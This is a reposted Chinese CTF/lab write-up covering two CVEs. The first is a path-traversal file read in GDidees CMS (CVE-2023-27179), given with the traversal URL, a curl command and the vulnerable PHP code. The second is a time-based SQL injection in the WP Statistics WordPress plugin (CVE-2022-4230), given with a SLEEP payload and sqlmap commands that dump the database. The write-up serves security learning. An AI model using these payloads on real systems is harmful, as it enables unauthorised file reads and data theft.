0


cqyjldfx

CVE-2023-27179

靶标介绍:

GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。

提示有本地文件泄露,且位于 /_admin/imgdownload.php,参数是filename

所以可以构造: /_admin/imgdownload.php?filename=../../../../../flag

../可以遍历目录,最终查找flag

得到的是png文件,用笔记本编辑打开就可以得到flag

漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点,通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。

但在其他师傅的复现是png文件下载后并不能够读取文件内容,用到curl工具

curl -l 命令可以自动重定向,并且获得最终结果,相当于读取页面的内容

可以构造: curl -l "http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../flag"

同样可以得到flag

通过查找可以搜到漏洞产生的原理(查找的源代码):

<?php
$filename = $_GET['filename'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($filename));
header('Content-Transfer-Encoding: binary');
header('Expires: ');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?>

定义了一个参数filename,传给函数readfile,但是对所传入的参数没有限制,形成本地文件包含漏洞

readfile() 函数读取一个文件,并写入到输出缓冲。

如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。

因此可以通过目录遍历对文件进行读取。

CVE-2022-4230

靶标介绍:

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

WP,即WordPress。WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

一上来在初始界面什么都没有,进行目录扫描

用dirseach可以扫出readme.html,由于返回状态码500的太多了,还是建议在扫描时加上状态码限制,


-i 200


可以:dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com

-i 200

-i 只显示该状态码

-x 不显示该状态码

得到扫描结果后就可以访问

全是英语,看不懂没关系,直接翻译一下

可以看到登录界面,login page,点击后进入登录界面

呃,数据库连接失败,看了其他师傅的,该页面确实是登录界面,可能是环境问题。

进行抓包分析

状态码返回500,服务器错误状态码,确实是环境问题,重新打开新环境

重新打开环境后来到了登录框界面,注意观察:返回到test,那么test是什么的,这里猜测是用户名,他的意思就是返回test这个用户

点击后回到了初始界面

那么使用test进行登录看看,经过测试后密码也是为test

成功登录到该用户

根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。

进行搜索

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个

_wpnonce

来进行认证。wpscan平台是专门针对wordpress的漏洞平台.

进行访问:

http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce

拿到我们的_wpnonce(随机数)

/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa

得到如下界面

进行SQL注入,从wpscan平台可以得知是时间盲注

构造:

http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

进行验证,在5秒钟之后才回显,存在SQL注入的时间盲注漏洞,用sqlmap跑

抓包,把get请求的内容复制到5.txt文件中

命令: sqlmap -r 5.txt --batch --dbs

可以看到扫出来了四个库,注重wordpress这个库

接着获取该数据库的表名

sqlmap -r 5.txt --batch -D wordpress --tables

可以看到flag这个表,爆表的字段

sqlmap -r 5.txt --batch -D wordpress -T flag --columns

字段flag,获取字段的内容

sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump

标签: 安全 php 学习

本文转载自: https://blog.csdn.net/2303_77961060/article/details/140863807
版权归原作者 小丑皇,王中王 所有, 如有侵权,请联系我们删除。

“cqyjldfx”的评论:

还没有评论